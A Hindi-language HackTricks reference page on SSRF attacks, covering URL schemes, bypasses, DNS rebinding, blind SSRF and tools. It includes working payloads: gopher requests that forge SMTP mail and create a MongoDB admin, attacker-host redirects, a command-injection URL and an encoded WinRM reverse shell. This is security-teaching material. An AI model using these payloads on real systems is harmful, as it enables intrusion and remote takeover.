SSRF (सर्वर साइड अनुरोध धोखाधड़ी)

Reading time: 28 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

मूल जानकारी

एक सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) सुरक्षा दोष तब उत्पन्न होता है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को उनके द्वारा चुने गए डोमेन पर HTTP अनुरोध करने के लिए हेरफेर करता है। यह सुरक्षा दोष सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के प्रति उजागर करता है।

SSRF कैप्चर करें

आपको जो पहला काम करना है वह है आपके द्वारा उत्पन्न SSRF इंटरैक्शन को कैप्चर करना। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:

व्हitelisted डोमेन बायपास

आमतौर पर आप पाएंगे कि SSRF केवल कुछ व्हitelisted डोमेन या URL पर काम कर रहा है। निम्नलिखित पृष्ठ पर आपके पास उस व्हitelist को बायपास करने के लिए तकनीकों का संकलन है:

URL Format Bypass

ओपन रीडायरेक्ट के माध्यम से बायपास

यदि सर्वर सही तरीके से सुरक्षित है, तो आप वेब पृष्ठ के अंदर एक ओपन रीडायरेक्ट का लाभ उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेबपृष्ठ समान डोमेन के लिए SSRF की अनुमति देगा और शायद रीडायरेक्ट का पालन करेगा, आप ओपन रीडायरेक्ट का लाभ उठाकर सर्वर को आंतरिक किसी भी संसाधन तक पहुँचने के लिए मजबूर कर सकते हैं
यहाँ और पढ़ें: https://portswigger.net/web-security/ssrf

प्रोटोकॉल

  • file://
  • URL स्कीम file:// का संदर्भ दिया गया है, जो सीधे /etc/passwd की ओर इशारा करता है: file:///etc/passwd
  • dict://
  • DICT URL स्कीम को DICT प्रोटोकॉल के माध्यम से परिभाषाओं या शब्द सूचियों तक पहुँचने के लिए उपयोग किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करने वाले एक निर्मित URL को दर्शाता है, साथ ही एक PHP स्क्रिप्ट का उदाहरण जो हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके एक DICT सर्वर से कनेक्ट करने के लिए संभावित रूप से दुरुपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • इसे सुरक्षित शेल के माध्यम से सुरक्षित फ़ाइल स्थानांतरण के लिए एक प्रोटोकॉल के रूप में पहचाना गया है, एक उदाहरण दिया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को एक दुर्भावनापूर्ण SFTP सर्वर से कनेक्ट करने के लिए कैसे दुरुपयोग किया जा सकता है: url=sftp://generic.com:11111/
  • TFTP://
  • ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, जो UDP पर संचालित होता है, का उल्लेख किया गया है जिसमें एक PHP स्क्रिप्ट का उदाहरण है जो एक TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। एक TFTP अनुरोध 'generic.com' पर पोर्ट '12346' के लिए फ़ाइल 'TESTUDPPACKET' के लिए किया गया है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जो IP नेटवर्क पर वितरित निर्देशिका सूचना सेवाओं का प्रबंधन और पहुँच के लिए इसके उपयोग पर जोर देता है। एक LDAP सर्वर के साथ स्थानीयहोस्ट पर इंटरैक्ट करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF सुरक्षा दोषों का लाभ उठाने के लिए एक विधि का वर्णन किया गया है ताकि स्थानीयहोस्ट पर SMTP सेवाओं के साथ इंटरैक्ट किया जा सके, जिसमें आंतरिक डोमेन नामों को प्रकट करने और उस जानकारी के आधार पर आगे की जांच करने के लिए कदम शामिल हैं।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF बायपास
  • यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस writeup में आप file प्रोटोकॉल के माध्यम से पथ यात्रा के लिए यह उदाहरण पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher प्रोटोकॉल की क्षमता IP, पोर्ट और सर्वर संचार के लिए बाइट्स निर्दिष्ट करने की चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उपयोग करके पेलोड बनाने के लिए। दो अलग-अलग उपयोगों को दर्शाया गया है:

Gopher://

इस प्रोटोकॉल का उपयोग करके आप IP, पोर्ट और बाइट्स निर्दिष्ट कर सकते हैं जिन्हें आप चाहते हैं कि सर्वर भेजे। फिर, आप मूल रूप से एक SSRF का उपयोग करके किसी भी TCP सर्वर के साथ संवाद कर सकते हैं (लेकिन आपको पहले सेवा से बात करना आना चाहिए)।
भाग्यवश, आप Gopherus का उपयोग कई सेवाओं के लिए पेलोड बनाने के लिए कर सकते हैं। इसके अतिरिक्त, remote-method-guesser का उपयोग Java RMI सेवाओं के लिए gopher पेलोड बनाने के लिए किया जा सकता है।

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

गोफर HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337 पर बैक कनेक्ट

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin हो, पासवर्ड=admin123 हो और अनुमति=administrator हो

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

सर्वरों पर एनालिटिक्स सॉफ़्टवेयर अक्सर आने वाले लिंक को ट्रैक करने के लिए Referrer हेडर को लॉग करता है, एक प्रथा जो अनजाने में अनुप्रयोगों को Server-Side Request Forgery (SSRF) कमजोरियों के लिए उजागर करती है। इसका कारण यह है कि ऐसा सॉफ़्टवेयर Referrer हेडर में उल्लिखित बाहरी URL पर जाने के लिए जा सकता है ताकि संदर्भ साइट की सामग्री का विश्लेषण किया जा सके। इन कमजोरियों को उजागर करने के लिए, Burp Suite प्लगइन "Collaborator Everywhere" की सिफारिश की जाती है, जो एनालिटिक्स उपकरणों द्वारा Referer हेडर को संसाधित करने के तरीके का लाभ उठाता है ताकि संभावित SSRF हमले की सतहों की पहचान की जा सके।

SSRF via SNI data from certificate

एक गलत कॉन्फ़िगरेशन जो किसी भी बैकएंड से कनेक्शन को सरल सेटअप के माध्यम से सक्षम कर सकता है, एक उदाहरण Nginx कॉन्फ़िगरेशन के साथ दर्शाया गया है:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

इस कॉन्फ़िगरेशन में, Server Name Indication (SNI) फ़ील्ड से प्राप्त मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप Server-Side Request Forgery (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषित किया जा सकता है। एक शोषण उदाहरण जो openssl कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे internal.host.com, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget फ़ाइल अपलोड

कमांड इंजेक्शन के साथ SSRF

एक पेलोड आज़माने लायक हो सकता है जैसे: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs रेंडरिंग

यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। यहाँ अधिक जानकारी प्राप्त करें.

SSRF से DoS तक

कई सत्र बनाएं और सत्रों से SSRF का उपयोग करते हुए भारी फ़ाइलें डाउनलोड करने का प्रयास करें।

SSRF PHP फ़ंक्शन

कमजोर PHP और यहां तक कि वर्डप्रेस फ़ंक्शंस के लिए निम्नलिखित पृष्ठ की जांच करें:

PHP SSRF

Gopher के लिए SSRF रीडायरेक्ट

कुछ शोषणों के लिए आपको एक रीडायरेक्ट प्रतिक्रिया भेजने की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Misconfigured proxies to SSRF

Tricks from this post.

Flask

Flask proxy vulnerable code
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask @ को प्रारंभिक वर्ण के रूप में उपयोग करने की अनुमति देता है, जो प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाने और एक नया इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

कमजोर कोड:

यह पता चला कि एक अनुरोध के पथ को ; अक्षर से शुरू करना संभव है, जो फिर @ का उपयोग करने और एक नए होस्ट को इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

कमजोर PHP कोड
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP URL के पथ में स्लैश से पहले चर * के उपयोग की अनुमति देता है, हालाँकि, इसके अन्य सीमाएँ हैं जैसे कि इसे केवल रूट पथनाम / के लिए ही उपयोग किया जा सकता है और पहले स्लैश से पहले डॉट . की अनुमति नहीं है, इसलिए उदाहरण के लिए, डॉट रहित-हेक्स एन्कोडेड IP पते का उपयोग करना आवश्यक है:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP बायपास

यदि आप CORS/SOP के कारण स्थानीय IP से सामग्री निकालने में समस्याओं का सामना कर रहे हैं, तो DNS Rebidding का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:

CORS - Misconfigurations & Bypass

स्वचालित DNS Rebidding

Singularity of Origin एक उपकरण है जो DNS rebinding हमलों को करने के लिए है। इसमें हमलावर सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर फिर से बाइंड करने और लक्षित मशीन पर कमजोर सॉफ़्टवेयर का शोषण करने के लिए हमले के पेलोड को सर्व करने के लिए आवश्यक घटक शामिल हैं।

सार्वजनिक रूप से चल रहे सर्वर को भी देखें http://rebind.it/singularity.html

DNS Rebidding + TLS सत्र ID/सत्र टिकट

आवश्यकताएँ:

  • SSRF
  • आउटबाउंड TLS सत्र
  • स्थानीय पोर्ट पर सामान

हमला:

  1. उपयोगकर्ता/बॉट से एक डोमेन तक पहुँच करने के लिए कहें जो हमलावर द्वारा नियंत्रित है
  2. DNS का TTL 0 सेकंड है (इसलिए पीड़ित जल्द ही डोमेन के IP की जांच करेगा)
  3. पीड़ित और हमलावर के डोमेन के बीच एक TLS कनेक्शन बनाया जाता है। हमलावर सत्र ID या सत्र टिकट के अंदर पेलोड पेश करता है।
  4. डोमेन अपने खिलाफ अनंत लूप के रीडायरेक्ट शुरू करेगा। इसका लक्ष्य उपयोगकर्ता/बॉट को डोमेन तक पहुँचाना है जब तक कि वह फिर से डोमेन का DNS अनुरोध न करे।
  5. DNS अनुरोध में अब एक निजी IP पता दिया जाता है (उदाहरण के लिए 127.0.0.1)
  6. उपयोगकर्ता/बॉट TLS कनेक्शन को फिर से स्थापित करने की कोशिश करेगा और ऐसा करने के लिए वह सत्र ID/टिकट ID (जहाँ पेलोड हमलावर द्वारा शामिल था) भेजेगा। तो बधाई हो, आपने उपयोगकर्ता/बॉट को खुद पर हमला करने के लिए कहने में सफलता प्राप्त की।

ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (memcache) पर हमला करना चाहते हैं, तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने के लिए कहना होगा ( पोर्ट हमेशा समान होना चाहिए)।
इस हमले को अंजाम देने के लिए आप इस उपकरण का उपयोग कर सकते हैं: https://github.com/jmdx/TLS-poison/
अधिक जानकारी के लिए उस वार्ता को देखें जहाँ इस हमले को समझाया गया है: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

ब्लाइंड SSRF

ब्लाइंड SSRF और नॉन-ब्लाइंड SSRF के बीच का अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का उत्तर नहीं देख सकते। फिर, इसे शोषण करना अधिक कठिन है क्योंकि आप केवल ज्ञात कमजोरियों का शोषण कर पाएंगे।

समय आधारित SSRF

सर्वर से प्रतिक्रियाओं का समय जांचने से यह जानना संभव हो सकता है कि कोई संसाधन मौजूद है या नहीं (शायद एक मौजूदा संसाधन तक पहुँचने में अधिक समय लगता है बनिस्बत एक ऐसा संसाधन जो मौजूद नहीं है)

ब्लाइंड से पूर्ण शोषण स्थिति कोड में

इस ब्लॉग पोस्ट के अनुसार, कुछ ब्लाइंड SSRF हो सकते हैं क्योंकि भले ही लक्षित URL 200 स्थिति कोड के साथ प्रतिक्रिया करता है (जैसे AWS मेटाडेटा), यह डेटा ठीक से स्वरूपित नहीं होता है और इसलिए ऐप इसे दिखाने से इनकार कर सकता है।

हालांकि, यह पाया गया है कि SSRF में 305 से 309 के बीच कुछ रीडायरेक्ट प्रतिक्रियाएँ भेजने से यह संभव हो सकता है कि एप्लिकेशन इन रीडायरेक्ट्स का पालन करते हुए एक त्रुटि मोड में प्रवेश करे जो अब डेटा के स्वरूप की जांच नहीं करेगा और बस इसे प्रिंट कर सकता है।

इसका शोषण करने के लिए उपयोग किया जाने वाला पायथन सर्वर निम्नलिखित है:

python
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

चरण:

  • पहले 302 ऐप को फॉलो करना शुरू करने के लिए प्राप्त होता है।
  • फिर यह 305 → 306 → 307 → 308 → 309 → 310 प्राप्त करता है।
  • 5वें अजीब कोड के बाद PoC अंततः 302 → 169.254.169.254 → 200 OK लौटाता है।

लक्ष्य के अंदर क्या होता है:

  • libcurl स्वयं 305–310 का पालन करता है; यह बस अज्ञात कोड को "फॉलो" में सामान्यीकृत करता है।
  • N अजीब रीडायरेक्ट के बाद (≥ 5 यहाँ) एप्लिकेशन का अपना रैपर "कुछ गड़बड़ है" का निर्णय लेता है और डिबगिंग के लिए एक त्रुटि मोड में स्विच करता है।
  • उस मोड में यह पूरी रीडायरेक्ट श्रृंखला के साथ अंतिम बॉडी को बाहरी कॉलर को वापस डंप करता है।
  • परिणाम: हमलावर हर हेडर + मेटाडेटा JSON देखता है, मिशन पूरा।

ध्यान दें कि यह उन स्थिति कोड को लीक करने के लिए दिलचस्प है जिन्हें आप पहले लीक नहीं कर सकते थे (जैसे 200)। हालाँकि, यदि किसी तरह आप प्रतिक्रिया के स्थिति कोड का चयन भी कर सकते हैं (कल्पना करें कि आप तय कर सकते हैं कि AWS मेटाडेटा 500 स्थिति कोड के साथ प्रतिक्रिया करता है), कुछ स्थिति कोड हो सकते हैं जो सीधे प्रतिक्रिया की सामग्री को लीक करते हैं।

क्लाउड SSRF शोषण

यदि आप एक मशीन में SSRF भेद्यता पाते हैं जो क्लाउड वातावरण के अंदर चल रही है, तो आप क्लाउड वातावरण के बारे में दिलचस्प जानकारी और यहां तक कि क्रेडेंशियल प्राप्त करने में सक्षम हो सकते हैं:

Cloud SSRF

SSRF संवेदनशील प्लेटफार्म

कई ज्ञात प्लेटफार्मों में SSRF भेद्यताएँ होती हैं या हो चुकी हैं, उन्हें यहाँ देखें:

SSRF Vulnerable Platforms

उपकरण

SSRFMap

SSRF भेद्यताओं का पता लगाने और शोषण करने के लिए उपकरण

Gopherus

यह उपकरण Gopher पेलोड उत्पन्न करता है:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser एक Java RMI भेद्यता स्कैनर है जो अधिकांश सामान्य Java RMI भेद्यताओं के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन --ssrf विकल्प का समर्थन करते हैं, जो अनुरोधित संचालन के लिए SSRF पेलोड उत्पन्न करता है। --gopher विकल्प के साथ, सीधे उपयोग के लिए तैयार gopher पेलोड उत्पन्न किए जा सकते हैं।

SSRF Proxy

SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के प्रति संवेदनशील HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है।

अभ्यास करने के लिए

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

संदर्भ

tip

